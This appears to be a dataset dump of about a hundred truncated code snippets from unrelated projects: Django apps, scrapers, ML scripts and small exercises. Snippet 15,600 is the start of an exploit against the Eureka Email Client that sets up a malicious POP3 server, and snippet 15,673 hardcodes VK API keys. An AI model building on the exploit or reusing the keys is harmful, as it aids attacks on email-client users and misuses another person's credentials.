index
int64
0
1,000k
blob_id
stringlengths
40
40
code
stringlengths
7
10.4M
15,600
7661c3a37345af511178a4f1352036e935e10242
#Eureka Email Client 2.2 XP SP3 Exploit import socket host = '192.168.1.10' port = 110 try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((host,port)) s.listen(5) except socket.error: print 'Failed to create socket' sys.exit() print '[+] Listening for connections on port: {0}'.format...
15,601
9aaa6a49b1e4814994df0feb1edb609735818d3b
# -*- coding: utf-8 -*- # ------------------------------------------------------------------------------- # Name: # Purpose: This is to connect pygame to sxpNCPState # Create Time: 2020/12/18 10:15 # Author: Xiaoping Sun xiaopingsun@gmail.com//971994252@qq.com # Copyright: (c) t 2020 # Licence: <MIT licence> # -...
15,602
ef1baf7f1a103262c24a4b03f0327b46f9af5b29
from django.urls import path from products.models import Products import csv from . import views urlpatterns = [ path('', views.index, name='index'), path('reset', views.reset, name='reset'), ] def ready(): Products.objects.all().delete() dataReader = csv.reader(open('intern-test-data.csv'), delimiter...
15,603
c4880b9cfb7c55c1494c7648cbf65d5616322a7d
def round_sum(a, b, c): return round10(a) + round10(b) + round10(c) def round10(x): if x % 10 == 0: return x elif x % 10 >= 5: return (x/10 + 1) * 10 elif x % 10 < 5: return (x/10) * 10
15,604
28722b4c7334318dcdf0735050c6b4a67eda02c0
from bs4 import BeautifulSoup as bs import requests from splinter import Browser import time import pandas as pd def init_browser(): # @NOTE: Replace the path with your actual path to the chromedriver executable_path = {"executable_path": "/Users/reena/Downloads/chromedriver"} return Browser("chrome", **...
15,605
de9b7aaf3b9d088f1048b63a4436c8c1f93c65c5
import json import tensorflow as tf with open('clusterSpec.json') as f: clusterSpec = json.load(f) cluster = tf.train.ClusterSpec(clusterSpec) gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.2) sess_config = tf.ConfigProto(gpu_options=gpu_options) # Start the server server = tf.train.Server(cluste...
15,606
881a82d2bab23058afaf0176631eb6cbffe66912
def check(s1, s2): """check if they are one edit or zero edit away""" l1 = len(s1) l2 = len(s2) if len(s1) == len(s2): return check_update(s1, s2) elif l1 + 1 == l2: return check_insert(s1, s2) elif l1 - 1 == l2: return check_insert(s2, s1) else: return Fals...
15,607
3d1c8dbc6e775bcb00c9d87f9a4e32f62f268c0b
# -*- coding: utf-8 -*- """ 2017-10-19 18:25:23 使用random库,制作掷骰子猜大小游戏。 @author: liqian """ import random as rd def xiazhu(): yourChoice=int(input("请下注(1代表大或0代表小)")) if yourChoice==1: yours="big" return yours elif yourChoice==0: yours="small" return yours else: ...
15,608
7582bd003f0220e4e79c4ecd31f7d3ca9ada0724
import caffe import lmdb import numpy as np import cv2, random savepath = '../data/' if not os.path.exists(savepath): os.makedirs(savepath) def crop_image(img): crop_size = 224 range_h = img.shape[0] - crop_size range_w = img.shape[1] - crop_size y = random.randrange(0, range_h) x = random.randrange(0, ran...
15,609
8fbe11ff028bcd406c12817ff481a36b3beb0497
from turtle import Turtle from random import randint class Food(Turtle): def __init__(self): super().__init__() self.penup() self.shape('circle') self.shapesize(stretch_len = 0.25, stretch_wid = 0.25) self.color('blue') self.speed(0) self.refresh() def re...
15,610
e81340d6d21dc25b0ac185c9150b14cb92c06bc3
import os import sys import codecs import re from ansi2html import Ansi2HTMLConverter from mtaac_package.CoNLL_file_parser import conll_file from mtaac_package.common_functions import * from cdliconll2conllu.converter import CdliCoNLLtoCoNLLUConverter ##from conllu.convert import convert as conllu2brat from SPARQLTrans...
15,611
33ea1995a633cadad690139253c7d48b0253fe22
# -*- coding: utf-8 -*- """ Created on Thu Mar 24 16:31:30 2016 @author: Eric """ import argparse import pickle import LCALearner import LCAmods import numpy as np import scipy.io as io parser = argparse.ArgumentParser(description="Learn dictionaries for LCA with given parameters.") parser.add_argument(...
15,612
f409d01479fadd84ee7e223cd70a76231b34cb08
""" Analysis dashboards module. """ try: from collections.abc import Iterable except ImportError: from collections import Iterable import copy from datetime import datetime, timedelta import json import logging import re import numpy as np import pandas as pd from flask_login import login_required from flask...
15,613
2b6f0209ed75d010b59fab2fdfdc309e817502d3
#!/usr/bin/env python3 # -*- coding: utf-8 -*- ''' ANFIS in torch: read/write an Anfis system as a FCL file. I'm not fully sure how FCL deals with TSK antecedents, if at all. The proper FCL specification is IEC document 61131-7, but I'm working from Committee Draft CD 1.0 (Rel. 19 Jan 97). http:...
15,614
d4c0745eb77c4631347e51b988a93fb376fcedcf
import os # Data Frame Columns COUNT = "count" CNT_DOWN = "cnt_down" # Count of -1s present CNT_GROUP = "cnt_group" # Count of members in the same group CNT_GENE = "cnt_gene" # Number of genes CNT_REGULATED = "cnt_regulated" # Count of times up- down-regulated CNT_TERM = "cnt_term" # Number of GO terms" CNT_UP = ...
15,615
be0dadb6fd7765f957a78799b572dc973ac6b5b4
import os data_root = './data/camera1'# 绝对路径 data_collection_config = {'cam_id':0, 'img_wight':1280,'img_hight':720, 'scan_topic_name': 'scan', # 激光消息名字,一般为scan 'local_ros':True, 'ROS_HOSTNAME':"192.168.43.17",# if l...
15,616
cf6250601cd9caeb28243231cd357bd822c0479c
"""变形链表的实现(为链表加入头结点和尾结点)""" class LNode(): """节点初始化函数""" def __init__(self, item, prev = None,next_=None): self.item = item self.next = next_ self.prev = prev class RList(): def __init__(self): self._head = LNode(None,None,None) self._rear = LNode(None,None,None) ...
15,617
e5617db2a373036bb448a5a71c793ddd482ae9a1
print "[INFO] Reading aminer_edge_list.csv" # all edges edge_list = [] # self cited edges edge_list_1 = [] # non self cited edges edge_list_2 = [] import csv with open('../output/aminer_edge_list.csv', 'rb') as file: reader = csv.reader(file) try: for row in reader: src = row[0] ...
15,618
e9fd9614cf343dcd2e578875602749d97a167a4d
# Generated by Django 2.0.2 on 2019-11-26 09:07 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Player', fields=[ ('id', models.AutoField(a...
15,619
8873d2acd50b5adaf3d0768cdba8b74514b0dca2
# create_component.py - Creates React component from sample files # into specified folder # Make python2/3 compatible from __future__ import print_function import os import sys import argparse from argparse import RawTextHelpFormatter # Make python2/3 compatible if (sys.version_info[0] < 3): input = raw_input # p...
15,620
c2f66d43908eeb1901e2f45116ece8982253a138
def df2input(df,categories=[],numerical=[],ordinal=[],response=None): import os import sys import numpy as np import pandas as pd # INPUT: # df : the input dataframe # categories : categorical features of df # numerical : numerical float or int features of d...
15,621
766d1ec9e6488016c89087b05544a02369d4200f
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ """ from day1 import * import pytest class TestSanta: """ """ def setup_method(self, method): """ """ self.santa = Santa() def test_constructor(self): """ """ assert self.santa.floor == 0 @pytes...
15,622
6901c7e57c319c25b6123bfb5121d7c83957b8d4
from django.urls import path, include from . import views urlpatterns = [ path('review/', views.review, name='review'), path('write_review/',views.writereview, name = 'writereview'), ]
15,623
a6f02ce64008701b4c9c35610a18d6944f60fae7
""" Finetuning Torchvision Models ============================= **Author:** `Nathan Inkawhich <https://github.com/inkawhich>`__ """ ###################################################################### # In this tutorial we will take a deeper look at how to finetune and # feature extract the `torchvision # models ...
15,624
b5637d4d7acc66452e3d916b90f5cb3aecc3aa53
from django.urls import path from .views import TaskDelete, TaskDetails, TaskList, TaskCreate, TaskUpdate, TaskLogin, UserRegisterPage from django.contrib.auth.views import LogoutView urlpatterns = [ path('login/', TaskLogin.as_view(), name="login"), path('logout/', LogoutView.as_view(next_page='login'), name...
15,625
36bf016c23832d3f18cf5eb1903f342f54738f4b
# Compares two strings for equality while checking for errors import sys from cs50 import get_string # Get a string s = get_string("s: ") if s is None: sys.exit(1) # Get another string t = get_string("t: ") if t is None: sys.exit(1) # Compare strings for equality if s == t: print("same") else: print...
15,626
3c8f6a7edbb8c4aa85e0da10e9fa1a01c784647e
import FWCore.ParameterSet.Config as cms import os process = cms.Process("summary") process.MessageLogger = cms.Service("MessageLogger", cerr = cms.untracked.PSet( enable = cms.untracked.bool(False) ), cout = cms.untracked.PSet( enable = cms.untracked.bool(True), threshold = cms.un...
15,627
5129caaefa43942dd5b64167b8c12160b9e1d6cf
''' Created on 29-06-2014 @author: carriagadad ''' # some_app/views.py from django.views.generic import TemplateView class CreateUserView(TemplateView): template_name = "oclock/create_user.html" class LoginUserView(TemplateView): template_name = "oclock/login_user.html" class RegisterUserView(TemplateVi...
15,628
5a4daac04fe34908d418768a7cec5bbc75fa76eb
import ROOT from ROOT import TCanvas, TGraph from ROOTDefs import get_po_signal_et_background_files from ROCCurveDefs import create_roc_counter, roc_efficiencies_from_cuts from tqdm import tqdm import numpy as np ''' Manually "train" weights to minimize the background efficiency at 90% signal efficiency. Not using a n...
15,629
5b918f95f8d408b9f6478bbd6f976c62a5685c92
from django import forms from .models import AD, Service_center, Report_problem class ADForm(forms.ModelForm): class Meta: model = AD fields = ['name', 'phone', 'content'] class Service_center_Form(forms.ModelForm): class Meta: model = Service_center fields = ['name', 'phone', ...
15,630
1e3e0d701d69f22319a5eebd5af68e8f3fe45795
from django.contrib.auth.views import LoginView, auth_login from django.shortcuts import render, redirect from django.views.generic.base import logger from .forms import * # Create your views here. def index(request): return render(request, 'index.html', {}) def login_index(request): return render(request, ...
15,631
3bfeae601422c7e48ddb769cb634463dc325b9a6
"""Check module for build type.""" # Official Libraries from argparse import Namespace # My Modules from stobu.types.build import BuildType __all__ = ( 'has_build_of', ) # Main def has_build_of(args: Namespace, build: BuildType) -> bool: assert isinstance(args, Namespace) assert isinstan...
15,632
b49115a8d12d0120c51def139347844d21348fe6
Following PEP 8 styling guideline. A simple way to select a random item from a `list/tuple` data stucture Get the most of `float`s Looping techniques `weakref` callbacks
15,633
c30f216bb5426d4ef20300e1f0df83bb1a1baa24
listMat = [[1,2,3,4],[5,6,7,8],[9,10,11,12]] for i in range(3): print() for j in range(4): print(listMat[i][j],end="\t")
15,634
7a92f7072f6b5ce618cceabeaa6d4c02a239054e
# 10.03.2020 @odnaks n = int(input()) str = input() arr = str.split() max = 0 for i in range(n): if int(arr[i]) > max: max = int(arr[i]) sum = 0 for i in range(n): sum = sum + (max - int(arr[i])) print(sum)
15,635
c46fe919b77bd6a4b1781169597325d5148b4ab8
t = int(input()) n = int(input()) a = list(map(int, input().split())) m = int(input()) b = list(map(int, input().split())) if m > n: print('no') else: for i in b: temp = True for j in a: if j <= i <= j + t: a.remove(j) temp = False bre...
15,636
c0da2550480bdc3e4f059623e77fd261465baec1
def is_triplet(t): a, b, c = t if not a < b < c: return False return a**2 + b**2 == c**2 and a + b + c == 1000 from itertools import combinations a = combinations(range(200, 500), 3) a = filter(is_triplet, a) a = next(a) print(a, sum(a))
15,637
2d1225f46b0ac7b30482ac12818fba9c70293f96
#!/usr/bin/env python # -*- coding: utf-8 -*- from datetime import datetime from os.path import abspath, dirname, join, exists from slugify import slugify from subprocess import call, PIPE import sys THIS_DIR = abspath(dirname(__file__)) CONTENT_DIR = join(THIS_DIR, 'articles', 'content') ARTICLE_HEADER = '''\ Title...
15,638
908510f5b469f6e4e61cb8bc2df778f84428a4f4
a = """To'g'ri, bu unchalik o'xshamasligi mumkin, lekin bu ho'l tosh to'plami bir nechta kutilmagan hodisalar faqat ojizlar uchun emas holsiz Ko'ryapsizmi, ko'pchilik odamlar chayqalish yoki igna chizish kabi sevimli mashg'ulotlaridan qayerda zavqlanishadi, biz ajdaho poygasini afzal ko'ramiz odamlar ajdaho poyga...
15,639
47dd6bd656048f28fe58ea19921a69fac06e86fd
#!/usr/bin/python # -*- coding: utf-8 -*- # @Time : 2020/2/13 0013 11:25 # @Author : honwaii # @Email : honwaii@126.com # @File : k_means_model.py import matplotlib.pyplot as plt import random from collections import defaultdict from sklearn.cluster import KMeans # 生成2-D待分类数据 def generate_clustering_data():...
15,640
089be3a1b03ff3c3d627b593c4dc37d43bab75a3
from django.urls import path from . import views urlpatterns = [ path('comment/', views.CreateCommentView.as_view()), path('comments/', views.ListCommentView.as_view()), path('comment/update_delete/<id>/', views.DeleteUpdateCommentView.as_view()), path('patient/', views.PatientProfileView.as_view()), ...
15,641
4a543533e7720a7beea23dfa587653ccf7d1b618
#5 Lira ve Katı Parayı En Az Banknotla Veren Algoritma Denemesi BANKNOTLAR=[0,0,0,0,0,0] #[5,10,20,50,100,200] def BanknotSay(para): if para%5 !=0: print("ATM'nin sadece banknot çıkışı olduğu için 5 TL ve katlarını verebiliyoruz.") exit() if para >= 200: BANKNOTLAR[5] = int(para/200) ...
15,642
ac30a767ada52118ddc302a7ef77373cadc01788
list=[4,2,6] sum=0 for i in list: sum+=i print(sum)
15,643
e6ecaa66be766b13891a4539b34ab8d218aebf78
import serial import sys import time import tkinter as tk root = tk.Tk() path="interior.jpg" background_image=tk.PhotoImage(path) background_label = tk.Label(root, image=background_image) background_label.place(x=0, y=0, relwidth=1, relheight=1) root.geometry("{0}x{1}+0+0".format(root.winfo_screenwidth(), root.winfo_s...
15,644
ea78b12f73d189c765c715dde842bb22ac8b49d5
import pickle with open("data/qrels.dev.small.pkl", 'rb') as f: qrels = pickle.load(f) with open("top1000.dev.sorted.ranks.pkl", 'rb') as f: ranks = pickle.load(f) Q = len(qrels) print("Total number of queries: {}".format(Q)) print("Number of queries considered: {}".format(len(ranks))) # Cal...
15,645
1d82a060eb4fb788aba3de69c60715846209c559
# -*- coding: utf-8 -*- ''' print 默认会加上换上 如果 print 以逗号结尾,则不加换行。 ''' print "没有换行", print "到我这才换行"
15,646
6c8215f80fff5bf193b2660b0cc84b7ea43db67c
# MIT License # # Copyright (c) 2021 Soohwan Kim and Sangchun Ha and Soyoung Cho # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights...
15,647
5576ff8ae23acdbe50e995df909f7433bbbd64ed
# -*- coding: utf-8 -*- """ Created the 30/01/2023 @author: Sebastien Weber """ from qtpy import QtWidgets, QtCore, QtSvg, QtGui from pymodaq.daq_utils.config import Config from pyqtgraph.widgets.SpinBox import SpinBox config = Config() class SpinBox(SpinBox): """ In case I want to add pyqtgraph spinbox fu...
15,648
2dc1820f241761778c911ce45447ebc424ef2e5b
import binascii # Standard AES s-box sbox = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x1, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8,...
15,649
67ca383fcac79f185792fa827f3bf50b1ef17dae
import argparse import time import datetime import torch_ac import tensorboardX import sys import utils from utils import device from model import ACModel # Parse arguments parser = argparse.ArgumentParser() # General parameters parser.add_argument("--algo", required=True, help="algorithm to us...
15,650
b0c67052b7d932ac733ad12aa02af93fe2283976
import networkx as nx import os from split_train_test import * def read_graph(weighted=0, input=None, directed=0): ''' Reads the input network in networkx. ''' if weighted: G = nx.read_edgelist(input, nodetype=int, data=(('weight', float),), create_using=nx.DiGraph...
15,651
9b09d3a443e3fcebbfa916522c6350ba03a0462f
#!/usr/bin/env python3 #This is used to keep track of the size of the streetmechant01 container (log) size import docker import os import logging SCRIPT_LOG = '/var/log/SCRIPT_LOG.log' IMAGE_NAME = 'ghcr.io/jef/streetmerchant:nightly' MAX_LOG_SIZE = 300 client = docker.from_env() all_containers = client.containers....
15,652
eb407828fbc08a69297dcaf8a7443281e857d040
import requests import json class jsonParser: searchTermDict = {} searchTermList = [] fileList = [] def __init__(self, keywordsJSON, localDatabaseJSON, debugMode): with open(keywordsJSON) as objectAttributes: self.data = json.load(objectAttributes) with open(localDatabaseJS...
15,653
acb5b4319eccf15169b8746c6e102977a8d9c7b2
cars = ["Ford", "Volvo", "BMW"] print(cars) x = len(cars)
15,654
edf273a1d5c769abc5ab7313187f9299ee06d045
from django.shortcuts import render from django.http import HttpResponse from django.views.generic import View from django.http import JsonResponse from django import forms from django.views.decorators.csrf import csrf_exempt from django.utils.decorators import method_decorator from django.db import connection from re...
15,655
c6b73417b2dd2e133b6b9b1fa5215d61b259164d
""" Name: Raymond Wang ID: V00802086 Date: JAN 26, 2018 """ import socket import sys import ssl def main(): if len(sys.argv) != 2: print("INVALID INPUT") return print('\nWebsite: ' + sys.argv[1]) ip_address = socket.gethostbyname(socket.getfqdn(sys.argv[1])) # Get IP address print(...
15,656
4487f0af7c4f6fadfc33a60566af54f392bc21a2
from django.db import models from django.utils.translation import ugettext_lazy as _ from treebeard.mp_tree import MP_Node from myproject.apps.core.models import CreationModificationDateBase class Category(MP_Node, CreationModificationDateBase): title = models.CharField(_("Title"), max_length=200) class Met...
15,657
7b480ea8f4e5c7f69cfd06deb63fdd8ed9b78e2a
print('\n\tHello i am eng, module from extra')
15,658
5eee8fdadd02b3ae0d8bb9509472a071e0d62796
from django.apps import AppConfig class ServicesConfig(AppConfig): name = 'services' #nombre que saldrà y se verá publicamente en vez de 'services' verbose_name = 'Gestor de servicios'
15,659
5fbb53b5a8a40d331b3300457d66006f068c0bc2
items = ["dota", "LOL","csgo"] if "LOL" in items: items.remove("LOL") print(items) else: print("There is no LOL")
15,660
21a3465ff8f04bcb7e522342a559383e45531cff
from django.conf.urls.defaults import * from django.conf import settings from licorn.foundations import hlstr urlpatterns = patterns('energy.views', (r'^/?$', 'policies'), (r'^policies/?$', 'policies'), (r'^add_rule/(?P<who>.*)/(?P<hour>.*)/(?P<minute>.*)/(?P<day>.*)/?$', 'add_rule', {'new': False}), ...
15,661
03b13210ac1646d97fa1fdacafa40142a6648066
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.shortcuts import render,HttpResponse from .models import Cars # Create your views here. def home_view(request,marka): item_cars = Cars.objects.all() A=0 for i in item_cars: if (A > 1): break...
15,662
72b488bc92f9f38e2cacc25e92100581d22e7508
import bpy class OBJECT_PT_IMUPanel(bpy.types.Panel): """Creates a Panel in the Object properties window""" bl_label = "IMU Suit" bl_space_type = 'VIEW_3D' bl_region_type = 'UI' bl_idname = "VIEW3D_PT_imu" bl_category = 'Motion Capture' def draw(self, context): settings = conte...
15,663
ceb9d2702d9c036e9f5058a668a805b8052a5c9e
# -*- coding: utf-8 -*- # Generated by Django 1.9.8 on 2016-10-11 16:12 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('landing', '0001_initial'), ] operations = [ migrations.CreateModel( ...
15,664
527779dd3190f387103b722c6dc858c8e9ac52fe
from django.db import models from sis_gastronomico.empleados.models import Empleado # Create your models here. class Horario(models.Model): horario = models.CharField(max_length=35) desde = models.TimeField() hasta = models.TimeField() fecha_creacion = models.DateTimeField(auto_now=True) fecha_...
15,665
cdcd32e043e8ad3fc5dcd3285dbac3e306a39f1e
import os import sys def check_report_html(): if os.path.exists("report.html") is not True: print("report.html file not exits") return 0 try: with open("report.html", "r") as f: report_cont = f.read() if report_cont.find("failed results-table-row") != -1: ...
15,666
7e1cd9309b1522d664072ea8d71c806f2dd6d583
import pandas as pd from convokit import Corpus, download # This scripts downloads the following datasets using ConvKit (https://convokit.cornell.edu/) # - Stanford Politeness Corpus (Wikipedia) # - Stanford Politeness Corpus (Stack Exchange) # This code is based on the following notebook: # - https://github.com/Corne...
15,667
632b0362fe2d240a99c46bba9d0e879b554d20b6
# -*- coding: utf-8 -*- """ Created on Mon Aug 24 17:22:39 2015 @author: xf05id1 """ import pyxrf.model.fileio as fio import string import sys import srxdatadir #dfx3filedir = '/data/XSPRESS3/2015-3/in-house/' #dfpyxrffoutdir='/nfs/xf05id1/data/pyxrf_analysis/unsorted/' def x3toPyxrf(x3dir=srxdatadir.dfx3filedir, f...
15,668
ad76e8f3e9856290b8840f485859819aa9348a8d
import matplotlib.pyplot as plt import pickle import sys import os DIRNAME = os.path.dirname(os.path.realpath(__file__)) OUT_DIR = os.path.join(DIRNAME, 'out') MODEL = os.path.join(OUT_DIR, 'ann.hdf5') HIST = os.path.join(OUT_DIR, 'ann.hist') if not os.path.exists(MODEL): print("missing model:", MODEL) sys.ex...
15,669
fb089958b51b01aaa61852dd3eb767c806fde2e4
import pandas as pd import os #import json csv_file_path = os.getcwd() + r'\data\test_products.csv' df = pd.read_csv (filepath_or_buffer=csv_file_path, sep=',', header=0) df.head() df_title = df[['title']].copy() df_title.head() json_file_path = os.getcwd() + r'\data\test_products.json' #df_title.to_json (json_file_...
15,670
10476e83a427770208a751de475a2dc35b7cedf6
# Peter Dorsaneo # # Summer 2019 FIS(h) Tank Project, Team 3 # ======================================== # Python script to load a Chrome web page of the FIS Careers website and auto # load the list of available intern positions. # # USAGE: python main.py from constants import * from splinter import Browser from time...
15,671
542a6f74b91a9a8967a90859e957e888509dedf0
class BankAccount: ROI = 10.5; def __init__(self): self.Name = input("Enter The Name: "); self.Amount = float(input("Enter The Amount: ")); def Deposit(self): self.Amount = self.Amount + int(input("Enter The amount To be Deposit: ")); def Withdraw(self): self.Amount = ...
15,672
10344e02035c3e8d968d74e91b085c4a93ff5abd
import numpy as np from numpy import ndarray def mae(y_preds: ndarray, y_actual: ndarray) -> float: """ Mean Absoulte Error """ return np.mean(np.abs(y_preds - y_actual)) def rmse(y_preds: ndarray, y_actual: ndarray) -> float: """ Root Mean Squared Error """ return np.sqrt(np.mean(n...
15,673
e5503254321c4cc0f34cb08c4985842bbf89a55e
############################################## # Тут лежат API-ключи для работы с VkApi ############################################## api_key = "71ce346062676bfa2d39d3bb17635a22fc556a0f3c07b78175c2f92c01c081f7c1674f31e0566ec52749d" api_keyy = "31653914f8764433acff756be9b664e4711fa624e1cf739f85b549dbe25908ceb73b7e39a9...
15,674
abb679e3fd79dbe4358568d73d41876470ab1713
arr=[1100,1100,1110,10,1,234,2,5,1,66,100000,23,11,6,112,100,120,112,1300,1109,110,1100,-9,114,119] #arr=[11,1,234,2,5,1,55] arr1=[] j=0 for i in arr: if len(arr1)==0: arr1.append(i) continue for j in range(len(arr1)): if i<=arr1[j]: arr1.insert(j,i) break ...
15,675
7083c3f02290f710b69b0a21bf43029bc661844c
import requests import proxies from threading import Thread URL= 'https://www.lagou.com/' headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3112.113 Safari/537.36', "Referer": "https://www.lagou.com/jobs/list_python"} while True: a =...
15,676
adc860a1fef633bba445ea2793e6a830f608d203
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'demoLimitsListWidget.ui' # # Created by: PyQt5 UI code generator 5.15.7 # # WARNING: Any manual changes made to this file will be lost when pyuic5 is # run again. Do not edit this file unless you know what you are doing. from PyQt5 import...
15,677
44b1facd7fb6bf2fe21dbc4a4480a784a1d18375
# Project 2 - Moonlander # # Name: James Plasko # Instructor: Brian Jones # Section: 21 import unittest from lander_funcs import * class TestCases(unittest.TestCase): def test_update_acc1(self): self.assertAlmostEqual(update_acceleration(1.62, 0), -1.62) def test_update_acc2(self): self.assertEqual...
15,678
8caf2e85ef6cbb9058b1db018609bc4b8cf2d784
"""Using word frequencies to create a summary. """ import argparse import json import string import random import pprint from nltk import pos_tag from nltk.collocations import BigramAssocMeasures from nltk.collocations import BigramCollocationFinder from nltk.corpus import wordnet from nltk.tokenize imp...
15,679
b3f1f255b538ee1e55f6f0e478c3986c345bb970
def readFile(file_path): f = open(file_path, 'r') contents = f.read() f.close() return contents def writeFile(file_path, contents): f = open(file_path, 'w+') f.write(contents) f.close() return f if __name__ == '__main__': file = readFile('docs/read.txt') writeFile('docs/write.txt', file);
15,680
180bbad65a2c3e278381dfa9f403db8caade9a54
import simplejson as json from .KalliopeiaClass import KalliopeiaClass def preparate_kalliopeia(f_setting): f = f_setting.open("r") jsonData = json.load(f) toKalliopeia = KalliopeiaClass(jsonData["kalliopeia_url"]) facilitator = jsonData["facilitator"] f_token = toKalliopeia.get_access_token(name=...
15,681
7a7414f20c8e206ed23563907ae8472c980628ad
import string import random num = random.randint(10000000000,20000000000) print(num) primearray = [] for i in range(1,num): if num%i == 0: print(i) primearray =primearray + [i] print(primearray) primefac = [] print('\n') for x in primearray: primarr = [] for y in range(1,x+1): if x...
15,682
9e07364ac778040f4c195e3a446c90f3d8870ffe
from django.conf.urls import include, url, patterns from django.views.generic import TemplateView from accounts.views import service_provider, my_jobs_view, update_job, update_employer, application_questions, employer_page, update_social, social_links, update_documents, documents, update_language, language, update_skil...
15,683
785aa9458b4dc7bfd6000b43568ce70beff88dd4
def prime_checker(number): isPrime = True for n in range(2, number): if number % n == 0: isPrime = False if isPrime: print("It's a prime number.") else: print("It's not a prime number.") n = int(input("Check this number: ")) prime_checker(number=n)
15,684
536d3d4fcb74484647889d6139ba5af49b5f3ea4
from functools import cached_property from typing import ClassVar, List, Protocol import pyglet from pyglet import shapes from codanim.drawable import add_to_batch from codanim.element import Element # mixing concerns between scene and scene renderer for now, but temporary class Renderer(Protocol): def draw(se...
15,685
6ab7a40e87d83dff8ed7228ba48812cc1b182380
from datos.registros import RegistroData class RegistroLogic(): @staticmethod def insert_one(registro): RegistroData.create_registro(registro) @staticmethod def get_by_id(registro_id): return RegistroData.get_by_id(registro_id) @staticmethod def update_registro(registro_i...
15,686
4c6befbf09bb465c760cf41b9037e6c50de292a6
import re, os, csv, sys, time import json, random, argparse from collections import Counter from selenium import webdriver from selenium.webdriver.common.keys import Keys from selenium.webdriver.firefox.options import Options from selenium.common.exceptions import TimeoutException, NoSuchElementException VERSION = "0...
15,687
06ed9c4a0bdee76ef648fe7e5a70a61abae6d89c
# -*- coding: utf-8 -*- """ Visualization functions """ import matplotlib.pyplot as plt import numpy as np # Visualize the training course from utilities.losses import compute_loss def compute_z_loss(y, x, thetas): """ Compute z-axis values :param y: train labels :param x: tr...
15,688
6b8f1c5d4debe159ceb3f85514577fd4dec9df2b
import simplejson as json import urllib api_key = open(".freebase_api_key").read() service_url = 'https://www.googleapis.com/freebase/v1/mqlread' query = [{"name": {}, "a:type":"/music/artist", "b:type": "/common/topic", "limit": 100}] params = {'query': json.dumps(query), 'key': api_key} url = service_url + '?' + u...
15,689
43d707adff7ee6342ed39b9adfb7ca8d1424604b
import json def count_ys(filename): f = open(filename, 'r') dic = {} counter = 0 for line in f: if "as mysterious as" in line: temp = line.split() if dic.has_key(temp[4]): dic[temp[4]] = dic[temp[4]]+int(temp[6]) else: dic[temp...
15,690
6fe1f8e6a9f3511b5ec1c358a4bfa8eef6a0b571
#!/usr/bin/env python3 import matplotlib.pyplot as plt from matplotlib.cm import get_cmap import matplotlib import statistics from ast import literal_eval as make_tuple from scipy import interpolate import numpy as np import sys # AOMS plt.plot([], [], ' ', label='Aq modes comparison') with open(sys.argv[1], 'r') a...
15,691
29a1689718e09d035a75ffbc8dc070828d6a2815
import numpy as np from random import randint, random # ------------------------------------------------------------------------------------- # Extended two step # ------------------------------------------------------------------------------------- def with_prob(prob): 'return true / flase with specified probabi...
15,692
96180493e4518b63981eddd51bed5a4bcdaaed4d
a=0 b=1 i=0 print(a) print(b) while(i<10): c=a+b a=b b=c i=i+1 print (c)
15,693
42684432d73ee255c78b8ca8805f91730568eb49
import pandas as pd import numpy as np import torch import pickle import os DIM_NODE2VEC = 128 PATH_NODE2VEC = 'cit_128.emb' #ID_SRC = '../data/task2_trainset.csv' # generating node_vec for train/valid set ID_SRC = '../data/task2_public_testset.csv' # generating node_vec for test set # read the vecto...
15,694
3e3b8c5fce934431a7717409003ba84545bda121
import numpy as np from matplotlib import pyplot as plt import json def plot_hist(history1, history2, history3, history4, history5, dataset): fig = plt.figure(figsize=(8, 3)) epochs = np.arange(1, 101) plt.subplot(1, 2, 1) plt.plot(epochs, history1['acc'], label='GAT') plt.plot(epochs, history2['...
15,695
943c0a70aa99cef039fa07ac1b6dc919e7e08f4d
# -*- coding: utf-8 -*- """ Created on Jul 21 2017, Modified Apr 10 2018. @author: J. C. Vasquez-Correa, T. Arias-Vergara, J. S. Guerrero """ import matplotlib.pyplot as plt import numpy as np from tqdm import tqdm import torch import pandas as pd import pysptk from matplotlib import cm from scipy.io.wavfile impor...
15,696
d4abd5f9659022f62ff9d6ff587653c9103f0dd7
import sys print("Path ==>", sys.path)
15,697
5fafeac43bd9fd6b98b7482eb63d0ab26a830117
''' -*- coding: utf-8 -*- @Author : Simon Zhang @Time : 2019/11/22 0:15 @Software: PyCharm @File : 117.py ''' # 给出一个函数  f(x, y) 和一个目标结果 z,请你计算方程 f(x,y) == z 所有可能的正整数 数对 x 和 y。 # # 给定函数是严格单调的,也就是说: # # f(x, y) < f(x + 1, y) # f(x, y) < f(x, y + 1) # 函数接口定义如下: # # interface CustomFunction { # public: #   // Retu...
15,698
66b5a4c574772c0e24ded26fb7304ef73766e74d
from argparse import Namespace from sys import argv as argument_vector, exit as system_exit from lxml.etree import Element from python_utility.custom_argument_parser import CustomArgumentParser from jenkins_job_manager.freestyle_project_builder.freestyle_settings \ import FreestyleSettings from jenkins_job_manage...
15,699
459d7a873e6ed14e1f5d58ebd2bc9b0c6e2b3a2c
"A module for testing the add food feature" import unittest from tests.base_test import BaseTestCase from app.views.menu_blueprint import order_obj class TestCase(BaseTestCase): "The test Class for the add_food feature" def test_empty_menu_list(self): "asserting menu list is empty" self.ass...